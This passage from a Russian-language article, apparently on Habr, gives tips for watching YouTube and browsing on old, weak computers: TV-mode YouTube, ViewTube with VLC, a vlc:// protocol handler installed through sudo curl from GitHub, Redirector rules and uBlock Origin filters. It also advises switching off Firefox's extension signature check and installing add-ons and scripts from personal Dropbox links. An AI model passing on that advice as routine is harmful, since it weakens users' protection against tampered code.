деревне где есть интернет и старый компьютер, к которому подключен монитор или телевизор. Продаются специальные пульты дистанционного управления для ПК, такие же как для ТВ-боксов, только дополнительно с USB «флешкой». По сути, так компьютер может стать смарт ТВ-приставкой с управлением от ТВ пульта. В браузере TV версия Youtube выглядит так ![image](https://habrastorage.org/r/w780q1/webt/tq/jq/yp/tqjqyp_9k8okn5w0egef4z1wujs.jpeg) Что бы перейти в TV версию YouTube необходимо установить специальное расширение [YouTube™ for TV](https://addons.mozilla.org/ru/firefox/addon/youtube-for-tv/) или [Youtube Tv Version For Firefox](https://addons.mozilla.org/ru/firefox/addon/youtube-tv-version-for-firefox/) и затем перейти по ссылке [www.youtube.com/tv](http://www.youtube.com/tv) Для наведения марафета, можно сделать [www.youtube.com/tv](https://www.youtube.com/tv) стартовой страницей, установить расширение [Auto Fullscreen](https://addons.mozilla.org/ru/firefox/addon/i-auto-fullscreen/) которое будет запускать Firefox в полноэкранном режиме без показа вкладок и затем поместить запуск браузера в автозагрузку Linux. Если устанавливать расширение «YouTube™ for TV» не хотите, тогда в *about:config* необходимо создать строку **general.useragent.override** В эту строку вставьте следующее значение ***Dalvik/2.1.0 (Linux; U; Android 7.0; BRAVIA 4K 2015 Build/NRD91N.S20)*** Только для Firefox 68 Однако при таком способе для некоторых других сайтов, что бы они отображались не в мобильном виде, необходимо создать параметры на подобие такого **general.useragent.override.habr.com** со значением Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0 После этого, для включения этой созданной опции сделайте так, как описано ниже в разделе «Блокировка рекламы и не нужных элементов на веб-странице» --> «Просмотр мобильной версии сайта и что делать если на сайт не пускают». **Invidious и другие сайты копирующие Youtube** Существуют сайты которые имея своё оформление воруют содержимое Youtube. Некоторые из них, например [Invidious](https://redirect.invidious.io/), могут быть гораздо легче чем оригинальный Youtube. При желании, на слабых компьютерах можно пользоваться ими. **Проигрывание коротких роликов Youtube Shorts как обычные видео** Не всем нравится родной вид ютуба для проигрывания таких роликов. Расширение [Youtube-shorts block](https://addons.mozilla.org/ru/firefox/addon/youtube-shorts-block/) открывает все видео с пометкой «shorts» в обычном десктопном оформлении страниц ютуба. Для мобильной версии ютуба расширение «YouTube Mobile for desktop» (см.выше) уже имеет встроенную в себе такую функцию. Сделать переадресацию ссылок можно также и с помощью расширения «Redirector» (см.ниже). **SponsorBlock** Во многих видео на YouTube сами авторы роликов делают рекламные видеовставки которые являются частью видео. [Это расширение](https://addons.mozilla.org/ru/firefox/addon/sponsorblock/) автоматически перематывает эти участки видео с рекламой. Вы можете сами помечать участки с рекламой, что бы у других пользователей она не проигрывалась. Для правильной работы расширения, в *about:config* браузера опция ***webextensions.storage.sync.enabled*** должна быть в **true** Это расширение может работать совместно с другими установленными расширениям, например с «YouTube Mobile for desktop» или «ViewTube». При этом участки видео с рекламой будут проматываться, хоть и не будут помечены маркером в плеере. Есть ещё [пользовательский скрипт](https://raw.githubusercontent.com/mchangrh/sb.js/main/docs/sb.user.js) для расширений типа «Greasemonkey» с минимальными функциями (перематывает участки видео с рекламой и больше ничего). Работает только в полной версии ютуба и только с плеером ютуба. **Показ количества дизлайков под роликами на Youtube** [Return Youtube Dislike](https://addons.mozilla.org/ru/firefox/addon/return-youtube-dislike/) **ViewTube** Расширение ViewTube позволит воспроизводить видео в браузере, заменив плеер сайта YouTube встроенным плеером плагина VLC. Таким способом можно просматривать видео в HD качестве на очень слабых компьютерах в баузерах PaleMoon и Firefox до 53 версии). Другая настройка этого расширения позволяет воспроизвести видео в отдельном окне плеера VLC всего за один клик мыши на веб-странице, либо плеер и видео могут запуститься автоматически после открытия страницы. Этот способ доступен для всех десктопных версий браузеров, а для Android в браузере Firefox от 47 — до 68.11, любых версиях «ночных» сборок Firefox от 79 и новее, в браузере Iceraven и старой Opera Mobile 12 [\*](https://4pda.to/forum/index.php?showtopic=198798) [\*](https://4pda.to/forum/index.php?showtopic=198798&st=1960#entry10687939) На [этом видео](https://www.youtube.com/watch?v=qhltXEaJHmU) можете посмотреть как работает ViewTube в MX Linux с браузером Pale Moon. **Видео на веб-странице, с заменой плеера сайта на плеер плагина VLC** Выглядеть это будет примерно вот так: ![image](https://habrastorage.org/r/w780q1/webt/_q/zz/d_/_qzzd_k5c_clfyfzl-fs4np4fig.jpeg) Для настройки расширения откройте страницу с любым роликом на ютубе. В низу сразу под окошком видео, строкой показываются кнопки управления видео. Нажмите на три вертикальных точки. Откроется меню настроек. ![image](https://habrastorage.org/r/w780q1/webt/de/p_/dv/dep_dvw82ay2ealo-05mzq2rsmq.jpeg) **Embed video with**: *Video* — видеоролик будет показываться в встроенном в браузер HTML5 плеере. Этот способ может пригодиться если видео просматривается в мобильной версии сайта Youtube, где родной плеер сайта не имеет ползунка регулировки громкости. **Пример** Плеер мобильной версии YouTube ![image](https://habrastorage.org/r/w780q1/webt/rc/xo/qh/rcxoqh8vbegslehsbkb-lbq8nig.jpeg) Плеер Firefox, показываемый ViewTube ![image](https://habrastorage.org/r/w780q1/webt/c6/c1/ec/c6c1eciv4xxv0x5yv_hfz2b0eik.jpeg) Что бы видео не запускалось всегда на 100% громкости, вы можете изменить её уровень, в *about:config* браузера опция ***media.default\_volume*** [\*](https://www.ghacks.net/2016/06/04/firefox-49-set-default-html5-video-volume/) настраивается в диапазоне от 0.01 до 1. *Object* — опция для Windows, не выберайте её. *Embed* — данный параметр выбирается для VLC плагина. *Protocol* — позволяет отправить видео в сторонний плеер одним кликом мыши (см. ниже в спойлере «Видео в отдельном плеере VLC, не на страницах сайта» **and play as/with**: Выбор как будет проигрываться видео *Auto* — в встроенном в браузер плеере HTML5, если не сможет, возможно переключится на что-то другое. *WMP* — опция для Windows, не выберайте её. *WMP\** — опция для Windows, не выберайте её. *VLC* и *VLC\** — плагином плеера VLC. Отличие в разной реализации («src» или «target»). Желательно выбрать VLC. *QT* — этот плагин не работает, не выбирайте этот параметр. **Select the definition**: Качество видео по умолчанию. Youtube видео со звуком умеет отдавать только в качестве 360p (Low Definition) и 720p (High Definition). Некоторые видео открываются и в другом качестве, например 1080p (Full High Definition) или 480p (Standard Definition), но тогда в плеере может не работать перемотка вперёд/назад, ползунок громкости и пр. **and the container**: Выбор формата видео кодека. Установите значение Any (любой). **Autoplay**: Автоматический запуск видео после открытия страницы. **Play DASH (Video With Audio)**: Видео будет подгружаться постепенно, а не всё сразу. Так же как это происходит в плеере самого сайта Youtube. Эта функция работает только с VLC плагином. **Open Page Link**: Отправка прямой ссылки страницы сайта Youtube с видео во внешний плеер, например VLC. Эту опцию поддерживают не все плееры. В добавок те плееры, что поддерживают открытие видео по ссылкам страниц ютуба, должны сами периодически обновляться, что бы корректно обрабатывать периодически зменяющийся код ютуба. Расширение Greasemonkey позволит вам легко отключить скрипт ViewTube если какое-то видео в не родном плеере будет воспроизводится неправильно. ![image](https://habrastorage.org/r/w780q1/webt/2n/vt/lx/2nvtlxgofpuixomn1ojdxzsrvwy.jpeg) **Видео в отдельном плеере VLC, не на страницах сайта** Установите протокол **vlc://** следуя этой инструкции [github.com/stefansundin/vlc-protocol/tree/master/linux](https://github.com/stefansundin/vlc-protocol/tree/master/linux) На Android устройствах не нужно устанавливать этот протокол. VLC плеер версий от 2.0 и новее делает это сам. Для Android 2.3 — 4.1 желательно установить VLC плеер версий 2.5.x, а не 3.0.x, так как он более стабилен. **Содержимое устанавливаемых файлов и команды для их установки** `sudo cp vlc-protocol /usr/local/bin/ xdg-desktop-menu install vlc-protocol.desktop xdg-open vlc://https://pbs.twimg.com/tweet_video/Cx5L_3FWgAAxzpM.mp4` Если ОС поддерживает CURL. Более простой способ. `sudo curl -L -o /usr/local/bin/vlc-protocol https://github.com/stefansundin/vlc-protocol/raw/master/linux/vlc-protocol sudo chmod +x /usr/local/bin/vlc-protocol curl -L -o vlc-protocol.desktop https://github.com/stefansundin/vlc-protocol/raw/master/linux/vlc-protocol.desktop xdg-desktop-menu install vlc-protocol.desktop rm vlc-protocol.desktop` Удаление установленных файлов `xdg-desktop-menu uninstall vlc-protocol.desktop sudo rm /usr/local/bin/vlc-protocol` Устанавливаемые файлы: **vlc-protocol** ``` #!/bin/bash url=${1:6} echo $url if [[ ! $url =~ ^https?:// ]]; then echo "protocol not allowed" exit 1 fi vlc --open "$url" ``` **vlc-protocol.desktop** ``` [Desktop Entry] Version=1.0 Name=VLC protocol Comment=Open vlc:// links with VLC. Exec=vlc-protocol %u TryExec=vlc-protocol Icon=vlc Terminal=false Type=Application MimeType=x-scheme-handler/vlc; NoDisplay=true ``` . Затем скопируйте эту ссылку и вставьте её в браузер ``` vlc://http://commondatastorage.googleapis.com/gtv-videos-bucket/sample/BigBuckBunny.mp4 ``` Появится окошко с просьбой выбрать приложение для открытия таких ссылок. Выберите **VLC protocol** и внизу поставьте галку возле ***Запомнить мой выбор для «vlc» ссылок.*** Если запустится VLC плеер и видео проиграется — значит всё получилось. ![image](https://habrastorage.org/r/w780q1/webt/8n/yi/7z/8nyi7zxv50zgps1ywzjoad5cxhs.jpeg) После этого откройте любую страницу с видео на ютубе и в настройках расширения ViewTube переключите следующие опции: *Embed video with*: **Protocol** *Open Page Link*: **On** — если у вас актуальная версия VLC плеера, и **Off** — если нормально не работает на «On», тогда видео будет доступно только в качестве 360p и 720p. *Autoplay*: Автоматический запуск видео после открытия страницы **On** или нет **Off**. . **ВАЖНО!** Необходимо установить не расширение ViewTube, а [Greasemonkey](https://addons.mozilla.org/ru/firefox/addon/greasemonkey/) или [Tampermonkey](https://addons.mozilla.org/ru/firefox/addon/tampermonkey/) и специальный [скрипт](https://dl.dropboxusercontent.com/s/o1ny3gohppbxs3g/viewtubeL.user.js) . Для устройств на Android желательно установить [Tampermonkey](https://addons.mozilla.org/ru/android/addon/tampermonkey/), а не Greasemonkey. Для браузеров PaleMoon, Firefox 52 необходимо поставить другой Greasemonkey [greasemonkey-3.31.4-pm\_forkBranch.xpi](https://github.com/janekptacijarabaci/greasemonkey/releases/download/3.31.4Fork/greasemonkey-3.31.4-pm_forkBranch.xpi) или [greasemonkey-3.9.xpi](https://dl.dropboxusercontent.com/s/zt4c29onf84p3in/greasemonkey-3.9.xpi). Затем в установленый Greasemonkey добавить файл скрипта. Примечание! Не обязательно, но желательно, на очень медленных компьютерах в настройки uBlock во вкладку «Мои фильтры» внесите: Для Youtube в новом виде ``` www.youtube.com###player-container-inner > .ytd-watch-flexy.style-scope ``` Если вы будете использовать ViewTube с мобильной версией сайта Youtube, для правильного отображения видеоплеера на веб-страницах, внесите в настройки uBlock во вкладку «Мои фильтры» следующие три строки: ``` m.youtube.com###movie_player m.youtube.com###player-control-container m.youtube.com##.spinner:style(animation: none !important) ``` На мобильных устройствах с маленьким экраном лого расширения ViewTube и некоторые его кнопки могут не помещаться в привычных местах, сползая на текст страницы. Их можно убрать добавив в настройки uBlock эти строки: ``` m.youtube.com##div:nth-of-type(5) > div:nth-of-type(2) > div:nth-of-type(1) m.youtube.com##div:nth-of-type(6) m.youtube.com##div:nth-of-type(2) > div:nth-of-type(4) m.youtube.com##div:nth-of-type(2) > div:nth-of-type(3) ``` **Easy Youtube Video Downloader Express** С помощью этого [расширения](https://addons.mozilla.org/ru/firefox/addon/easy-youtube-video-download/) можно не только скачать видео с ютуба в различных форматах и разрешениях, но так же скопировать ссылку на сам видеопоток и вставить его в любой плеер поддерживающий потоковое воспроизведение видео. Например SMPlayer или любой другой. Таким способом можно смотреть ролики на Youtube в 720p даже на очень слабых компьютерах. Ссылка копируется следующим образом, нажимаем в правом верхнем углу зелёную кнопку, выбираем в нужном качестве видео и перетаскиваем его левой кнопкой мыши в окно плеера. Плеер автоматически запустит проигрывание видео по этой ссылке. Что бы плеер не прятался за окно браузера, необходимо в его настройках включить режим «Поверх всех окон» ![image](https://habrastorage.org/r/w780q1/webt/6o/_q/pe/6o_qpemhhelz1q3blp8mqqapcgy.jpeg) **enhanced-h264ify** Данное [расширение](https://addons.mozilla.org/ru/firefox/addon/enhanced-h264ify/) позволяет достаточно сильно разгрузить процессор компьютера или Android устройства при просмотре видео с Youtube в трёх случаях: 1. Если видеокарта или другой встроенный декодер умеет аппаратно декодировать видео 2. Компьютер тянет видео в разрешении 720p и 30 кадров в секунду, но тормозит на видео 720p\*48-60fps. 2. Старый процессор не имеет поддержки инструкций SSSE3 (три буквы S) или SSE4.1 или AVX2, которые сильно помогают в декодировании новых кодеков. В первом случае, расширение просит Youtube отдавать видео в формате H.264 или VP9, которое умеет декодировать компьютер или планшет/телефон. Во втором, просит Youtube заменять видео с качеством 48-60 fps на 24-30fps, которое уже будет под силу слабому процессору если аппаратное декодирование недоступно. А в третьем, можно убрать видео в кодеке AV1, с которым может справиться только современный процессор. **Как узнать в каком кодеке показывается видео c Youtube** В плеере наведите курсор мыши на проигрываемое видео, нажмите правую кнопку мыши и в появившемся меню внизу выберите «Статистика для сисадминов». В верхнем правом углу видео появится информация о проигрываемом файле (размер/разрешение изображения, частота кадров и используемый кодек). Где **av01** — AV1 кодек **vp09** — VP9 (WebM) кодек **avc1** — AVC (H264) кодек ![image](https://habrastorage.org/r/w780q1/webt/hh/ld/82/hhld82xcmbxqnpisaxh5bjkaoqe.jpeg) В мобильный Firefox 68.11 расширение устанавливается со страницы версии дополнения для компьютеров [addons.mozilla.org/ru/firefox/addon/enhanced-h264ify](https://addons.mozilla.org/ru/firefox/addon/enhanced-h264ify/), необходимо кликнуть по "*Загрузить файл*". Настройки расширения достаточно просты и понятны. Если ваша устройство умеет декодировать видео, можете установить галки в настройках как показано на картинке. ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/909/4f3/3e2/9094f33e2922d2f85d1da5e95aeba8e8.jpg) **Redirector** [Расширение](https://addons.mozilla.org/ru/firefox/addon/redirector) [\*](https://addons.palemoon.org/addon/url-rewriter/) с помощью которого можно сделать перенаправление ссылки с одного адреса на другой. В нашем случае, на любом сайте кликнув по ссылке с видео, мы можем отправить видео сразу в сторонний плеер, например в VLC или любой другой. То есть, для примера, ссылка вида `https://video.mp4` станет ссылкой `player:http://video.mp4`, которую браузер может передать во внешнюю программу-обработчик таких ссылок. Что бы не придумывать свои названия вроде «player» или другие, и затем самому делать два специальных файлика регистрации нового протокола в Linux, можете воспользоваться уже имеющимися названиями протоколов, например «vlc://». Собраные файлы и описания к ним уже есть в этой статье (см. выше в *Плагины и Расширения --> ViewTube --> Видео в отдельном плеере VLC, не на страницах сайта*). Процесс создания перенаправляемых ссылок в расширении Redirector следующий: 1. В начале необходимо узнать адрес перенаправляемых ссылок для видео. Например для [rutube.ru](https://rutube.ru) их можно достать на сайте [getvideo.at/ru](https://getvideo.at/ru) там прямые ссылки на видеофайлы имеют вид `http://srv5.getvideo.at/download?id=8c05935f-1fc6-4c51-890e-971632f7efe0` в ссылках рутуба изменяются значения в двух местах *srv**5*** — где 5 это номер сервера на котором хранится видео ***8c05935f-1fc6-4c51-890e-971632f7efe0*** — идентификатор видеофайла При добавлении ссылки в расширение такие места в ссылке помечаются звёздочкой **\*** Звёздочка как бы может принимать любое значение слева на право до точки, знака **&** или до **/** Ссылка для рутуба с которой будет работать расширение примет вид `http://srv*.getvideo.at/download?id=*` 2. Добавляем эту ссылку в создаваемое правило расширения ***Example url:*** `http://srv*.getvideo.at/download?id=*` ***Include pattern:*** `http://srv*.getvideo.at/download?id=*` ***Redirect to:*** `vlc://http://srv$1.getvideo.at/download?id=$2` ***Redirect to:*** — прописывается то, что мы хотим видеть на выходе, ссылка после перенаправления. **$1** и **$2** подставленные вместо звёздочек, означают, что значения в этих местах могут быть разные, а не одинаковые. Для ютуба, что бы видео открывались в плеере с любых сайтов, можно создать правило с такими ссылками: ***Example url:*** `https://www.youtube.com/watch?*&feature=emb_imp_woyt` ***Include pattern:*** `https://www.youtube.com/watch?*&feature=emb_imp_woyt` ***Redirect to:*** `vlc://https://www.youtube.com/watch?$1` Короткие ролики «Shorts» возможно просматривать на обычных страницах ютуба, создав правило: ***Example url:*** `https://www.youtube.com/shorts/*` ***Include pattern:*** `https://www.youtube.com/shorts/*` ***Redirect to:*** `https://www.youtube.com/watch?v=$1` или тоже самое, только для мобильной версии: ***Example url:*** `https://m.youtube.com/shorts/*` ***Include pattern:*** `https://m.youtube.com/shorts/*` ***Redirect to:*** `https://m.youtube.com/watch?v=$1` Redirector имеет и другие настройки для более опытных пользователей. ### Блокировка рекламы и не нужных элементов на веб-странице **С помощью расширений** На многих сайтах количество заблокированной рекламы на одной открытой странице может быть больше десятка. Особенно сильно грузит процессор различная анимация. Современный веб не вызывает проблем на компьютерах даже около 10 летней давности, так как такие компьютеры имеют более 1 гигабайта оперативной памяти, многоядерный процессор, а так же часть нагрузки по обработке графики перекладывается на видеокарту. Для старого компьютера со скромной конфигурацией железа, любой «чих» программиста в виде мигающей картинки — это «съедание» 20-50% производительности процессора. По этому желательно по максимуму избавиться от загрузки и отображения таких элементов с помощью блокировщиков рекламы. Улучшить отзывчивость открытых страниц можно так же и ручной блокировкой тех элементов которыми вы никогда не пользуетесь. Это положительно скажется на плавности прокрутки и скорости загрузки страницы. Например, внизу каждой страницы практически всегда отображается информация на подобие этой ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/eb8/e83/ae7/eb8e83ae7c37799a8dd91ed850dcdc78.jpg) Всё это можно заблокировать блокировщиком в ручную, а так же темы, разделы, подписи картинок и различные колонки-меню которые вам не нужны. **Примеры использования расширения uBlock Origin для быстрой загрузки сайтов и эффективной блокировки рекламы** **Главное меню настроек** Использование uBlock начинается с его настройки. Попасть в меню настроек можно нажав на иконку uBlock в верхней правой части браузера ![image](https://habrastorage.org/r/w780q1/webt/ai/eq/y-/aieqy-mc_25exx7ea1eup5orh7a.jpeg) затем нажать по кнопке открытия панели управления ![image](https://habrastorage.org/r/w780q1/webt/0x/bm/8w/0xbm8wo_gofbg7kgqkfjphyl94s.jpeg) В первой вкладке «Настройки» можете оставить всё как есть и перейти во вторую вкладку «Списки фильтров» ![image](https://habrastorage.org/r/w780q1/webt/4v/fx/7c/4vfx7cfsbkh2l__prulimcsekcm.jpeg) Это основная страница настроек, содержащая списки правил для огромного количества сайтов. Многие из них дублируют друг друга, в добавок есть ещё и региональные списки. Поэтому для лучшей производительности компьютера большинство списков желательно отключить, оставив только самое необходимое. Вот [страница-рекомендация](http://forum.ru-board.com/topic.cgi?forum=5&topic=50474&start=0&limit=1&m=4#1) по выбору и включению фильтров в uBlock от разработчика списка RU AdList. Основные необходимые списки фильтров это: **EasyList** — основной фильтр **RUS: RU AdList** — фильтр для рунета **Блокировка разных групп нежелательных элементов на сайте** Веб-страница может содержать в себе различные медиа элементы (картинки, анимация, видео), наборы шрифтов, скрипты и пр. Все они участвуют в отображении и взаимодействии пользователя со страницей. uBlock Origin позволяет заблокировать сразу все элементы разделённые на специфические группы: ![image](https://habrastorage.org/r/w780q1/webt/wm/ci/o6/wmcio6_ay3enzmvxxmxidyykhpc.jpeg) **Блокировка всех всплывающих окон на сайте** ![image](https://habrastorage.org/r/w780q1/webt/id/c8/y2/idc8y2a8sluaizxlxqs4elf-siy.jpeg) — если активировать эту функцию, сайт не сможет произвольно открыть дополнительное окно браузера. Однако включение этой опции может так же приводить к проблемам при клике по ссылкам — перестанет их открывать. Используйте эту настройку в случаях когда это действительно необходимо. И обратите внимание. В главном меню настроек Firefox уже имеется подобная функция блокировки всплывающих окон (в адресную строку браузера вставьте *about:preferences#privacy*), которая работает в более щадящем режиме. **Блокировка больших элементов мультимедиа** ![image](https://habrastorage.org/r/w780q1/webt/li/e5/co/lie5cosbxzmj13xntdapmbmrhve.jpeg) — позволяет заблокировать на странице слишком большие изображения или видео. Задать размер блокируемых медиа-элементов для всех сайтов можно в вкладке «Настройки» в главе "*Поведение по умолчанию*" ![image](https://habrastorage.org/r/w780q1/webt/q5/af/hr/q5afhrvce4kamhbzpqzjqitwmuq.jpeg) **Отключение косметических фильтров** ![image](https://habrastorage.org/r/w780q1/webt/1o/om/nd/1oomndareoguunysugj4ya0x0vo.jpeg) — если на сайте не видно рекламы, можете отключить косметические фильтры [для чуть лучшей производительности компьютера](http://forum.ru-board.com/topic.cgi?forum=5&topic=47694&start=2840#18). Включение этой функции автоматически отключает все списки фильтров, в том числе и ваш «Мои фильтры», а так же не будет работать кнопка «Режима выбора элементов» ![image](https://habrastorage.org/r/w780q1/webt/de/zl/kx/dezlkxv_0ibrif_zwjxm6lepnzo.jpeg) **Блокировка сторонних шрифтов** ![image](https://habrastorage.org/r/w780q1/webt/yj/pv/be/yjpvbecrdh89oojdy8cirddztek.jpeg) — смотри раздел «Настройки в главном меню браузера --> Основные --> Шрифты и цвета». **Отключение JavaScript** ![image](https://habrastorage.org/r/w780q1/webt/qa/hu/nb/qahunbwtdkl-xhljxt63sbb8rhk.jpeg) — включение этой опции может очень сильно ускорить загрузку и отзывчивость веб-страницы даже на очень тяжёлых сайтах. Но как правило, при этом ломая взаимодействие с элементами сайта и/или их отображение (ссылки не нажимаются, меню не открывается, видео не запускается, картинки не отображаются и т.д). С этой опцией нужно быть осторожным. Примеры где её можно включить: **1.** Сайт [www.tut.by](https://www.tut.by/). Этот сайт необычен тем, что название **tut.by** имеет только главная страница. Если перейти по ссылкам которые размещены на этой странице, они будут иметь другие названия **news**.tut.by, **afisha**.tut.by, **auto**.tut.by, и uBlock к ним будет применять другие правила не связанные с **tut.by** **2.** Обратный случай. Сайт [pogoda.by](https://pogoda.by/) имеет не только одну главную страницу с названием **pogoda.by**, но страница конкретно погоды на неделю имеет название **6**.pogoda.by. Здесь тоже можно отключить JavaScript (если не интересуют другие ссылки на этой странице). **Блокировка паразитирующих элементов сайта не связанных с его работай** Многие сайты добавляют себе в код сторонние рекламные блоки, счётчики посещений и пр., которые размещены на других ресурсах интернета не связанных с посещаемым вами сайтом. Например *google-analytics.com* который подгружается в том числе и на страницах хабра. uBlock может их заблокировать. Для этого перейдите в «Настройки» и установите галку на **Я опытный пользователь** ![image](https://habrastorage.org/r/w780q1/webt/-v/kx/3r/-vkx3rwrpsffljfcndkdqanqika.jpeg) Закройте это окно и нажмите на значёк uBlock, затем кликните по «Больше». Слева откроется дополнительная таблица. В правой колонке можно выбрать и заблокировать то что не несёт никакой вам пользы. После того как пометите выбранные названия доменов красным, обязательно нажмите на «замок» вверху, что бы внесённые изменения запомнились uBlock. ![image](https://habrastorage.org/r/w780q1/webt/ug/7r/cr/ug7rcrvvckdo7pufq4byhtaedsq.jpeg) **Ручная блокировка** Встроенные в uBlock фильтры содержат огромное количество правил. Но не всё там есть. По этому в uBlock предусмотрена возможность входа в режим подсветки и выбора в ручную не нужного вам контента, с последующей его блокировкой. Ничего сложного здесь нет. Кликаем правой кнопкой мыши по пустому месту и в появившемся окошке и выбираем «Блокировать элемент», либо по значку uBlock и затем на «Пипетку» (режим выбора элементов). ![image](https://habrastorage.org/r/w780q1/webt/ug/dt/mv/ugdtmvzepv638qqr1flzwtltn0m.jpeg) ![image](https://habrastorage.org/r/w780q1/webt/7q/vd/kf/7qvdkfhkzgwtyeabpmyixoqqphg.jpeg) После этого мышкой наведите на ту часть экрана где должно заблокироваться, выделив этот участок красным цветом и нажмите левую кнопку мыши. Через некоторое мгновение, снизу в правом углу появится окно с непонятным на первый взгляд списком каких-то команд ![image](https://habrastorage.org/r/w780q1/webt/_d/jt/7f/_djt7fkka6kt9g1n26b3rgitcds.jpeg) Это список того, что вы можете заблокировать. Он представляет из себя «дерево» команд добавляемых в список фильтров uBlock. Команды прописаны в столбик с верху в низ. Чем ниже команда тем больший участок экрана будет подсвечен и тем больший участок на веб-странице будет заблокирован. Перемещаться по столбцу команд можно двигая ползунки влево-вправо. Например выбрав первую ***##.footer.footer-grid*** вы заблокируете минимальную часть, а выбрав ***##.layout\_row\_footer.layout\_row*** — максимальную часть ненужного вам кода. Что бы не ошибиться с выбором, каждый раз когда вы будете опускаться сверху вниз перебирая строки, uBlock будет подсвечивать красным те участки веб-страницы которые будут заблокированы для каждой выбранной вами команды. То есть, в приведённом примере, если вы выберете команду в самом низу ***##.layout*** — то покраснеет вся страница, и сразу будет понятно, что эту строку выбирать нельзя. Но, если вдруг что-то пойдёт не так и вы заблокируете лишнее, либо перестанет работать что-то другое, вы можете удалить внесённые изменения. Для этого зайдите в настройки uBlock во вкладку «Мои фильтры». Найдите в списке сайт на котором вы блокировали элементы и удалите соответсвующие строки или строку. ![image](https://habrastorage.org/r/w780q1/webt/e-/uc/cm/e-uccmf7pcecqgiozvby3qz34pq.jpeg) **Если необходимо заблокировать рекламу лишь на определённых страницах сайта** Бывают случаи, когда внесённые в uBlock правила блокировки рекламы на главной странице могут поломать вид других страниц этого сайта. Например, если отключить на странице поисковика [yandex.ru](https://yandex.ru/) в uBlock все скрипты, эта страница и страницы выдачи поискового запроса будут отображаться гораздо быстрее. Однако этим правилом одновременно поломаются и другие ресурсы которые находятся на yandex.ru ( например *yandex.ru/images/.....* — Картинки, *yandex.ru/maps/.....* — Карты, *yandex.ru/video/.....* — Видео или другие ). В настройках uBlock есть возможность внести ссылки страниц на которых блокировка рекламы будет выключена. Откройте в настройках uBlock вкладку **Доверенные сайты**. Внесите в имеющийся список ссылки тех ресурсов сайта на которых блокировщик рекламы должен быть выключен. Ссылки должны быть такого вида ``` yandex.ru/images/* yandex.ru/video/* ``` **\*** — звёздочка в конце ссылки означает, что для блокировщика не будет иметь значение что написано дальше в ссылке за знаком **/** После внесения ссылок, нажмите кнопку «Применить изменения». . После зачистки вас порадует не только скорость сёрфинга по сайту, но и правильное отображение информации на страницах, без лишнего отвлекающего мусора, как это в принципе и должно быть с точки зрения здравого смысла. Для более грамотной настройки блокировок с помощью расширений, почитайте рекомендации **RU AdList** <http://forum.ru-board.com/topic.cgi?forum=5&topic=49172&start=1979&limit=1&m=1#1> Наиболее легковесным блокировщиком будет [uBlock Origin](https://addons.mozilla.org/ru/firefox/addon/ublock-origin/). На компьютер с процессором без поддержки SSE2 желательно установить uBlock до версии 1.17, например [1.16.20](https://addons.mozilla.org/firefox/downloads/file/1056733/ublock_origin-1.16.20-an+fx.xpi), последующие версии ublock не работают или медленно работают с такими процессорами. На новых дистрибутивах Linux, uBlock версии 1.16.20 тоже может работать с ошибками, например не подгружать список фильтров. Debian 10 и другие дистрибутивы основанные на нём (например Antix 19.5) скорее всего последние с которыми корректно работает uBlock 1.16.20. Для браузеров Pale Moon и Firefox 47-52 желательно установить специальную поддерживаемую в актуальном состоянии версию блокировщика [uBlock Origin legacy](https://github.com/gorhill/uBlock/wiki/Firefox-WebExtensions#future-of-ubolegacy). Порядок действий для установки: 1. В *about:config* переключить параметр ***xpinstall.signatures.required*** в положение **false**. 2. На [этой](https://github.com/gorhill/uBlock-for-firefox-legacy/releases) странице найдите последнюю версию. Нажмите на ссылку **uBlock0.firefox-legacy.xpi** и установите расширение. Хотя для совсем слабого компьютера, установленный блокировщик рекламы может стать неподъёмной ношей. И от него, скорее всего, лучше будет отказаться. **Некоторыми инструментами браузера** Для каждого сайта в Firefox есть возможность настройки своей политики разрешений. Об этой возможности, более подробно, можно [почитать](https://support.mozilla.org/ru/kb/okno-informacii-o-stranice-prosmotr-tehnicheskih-d?redirectlocale=en-US&as=u&redirectslug=Page+Info+window) на сайте поддержки браузера. Для быстрого входа в окно настроек «Информация о странице», наведите курсор мыши на пустое место в открытой странице и щёлкните правой кнопкой мыши. Появится примерно такое окошко ![image](https://habrastorage.org/r/w780q1/webt/aw/z1/i_/awz1i_k7v15rgrkihndcdz8phhe.jpeg) в нём перейдите по «Информация о странице». Откроется отдельно большое окно «Информация о странице». Там во вкладке «Разрешения» можно отключить возможность этому сайту получать от вашего компьютера различную информацию. ![image](https://habrastorage.org/r/w780q1/webt/mb/wr/ap/mbwrapmjir7qy0soljktwda0cjq.jpeg) Естественно, если сайт не отправляет уведомления, не интересуется есть ли у вас камера или микрофон, то включение или отключение этих настроек ни как не повлияет на работу браузера с этим сайтом. После изменения некоторых настроек, перед адресной строкой появятся соответсвующие значки. ![image](https://habrastorage.org/r/w780q1/webt/va/h2/ry/vah2ryz6ntvzeybovrpxuqbkh_8.jpeg) Только в Firefox 68. Дополнительно, там же, но во вкладке «Мультимедиа», можно заблокировать показ некоторых медиа-элементов, например рекламных картинок, которые подгружаются на сайт с какого-то определённого рекламного сервера. ![image](https://habrastorage.org/r/w780q1/webt/u5/tn/jq/u5tnjqqrfahbqj-m3ac_me79zxq.jpeg) **Просмотр мобильной версии сайта и что делать если на сайт не пускают** Эта рекомендация может помочь тем, кто на часто посещаемых сайтах наблюдает подлагивания при отображении или прокрутке «тяжёлых» страниц в браузере. А также сталкивается с ситуацией, когда сайт видит, что заходят с устаревшей версии браузера и пытается заставить обновиться ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/393/22e/414/39322e414fe8174a9686d994eca27d1f.jpg) Habr и многие другие имеют свои мобильные версии сайтов для просмотра с планшетов, смартфонов или мобильных телефонов. Как правило, они более «лёгкие», имеют простое оформление и не содержат в себе часть элементов страницы которые есть в полной версии для ПК. Чтобы перейти на мобильную версию сайта, в самом низу страницы, там, где указывается различная контактная или техническая информация, нужно найти соответствующую ссылку. ![image](https://habrastorage.org/r/w780q1/webt/qt/rg/wk/qtrgwk19j5xnnwqnmkpi5knwxkq.jpeg) Для нетбуков или компьютеров с маленьким экраном в Firefox можно установить дополнение [User-Agent Switcher](https://addons.mozilla.org/ru/firefox/addon/user-agent-switcher-revived/). С помощью его можно менять отправляемую информацию сайту о вашем браузере и устройстве, с которого вы выходите в интернет. Например сделать вид, что вы выходите c Android устройства. Если у сайта есть мобильная версия, он её покажет. В ситуации когда посещаемый сайт видит, что вы зашли с устаревшего браузера, можно сделать так, что бы он думал что у вас новая версия Firefox. 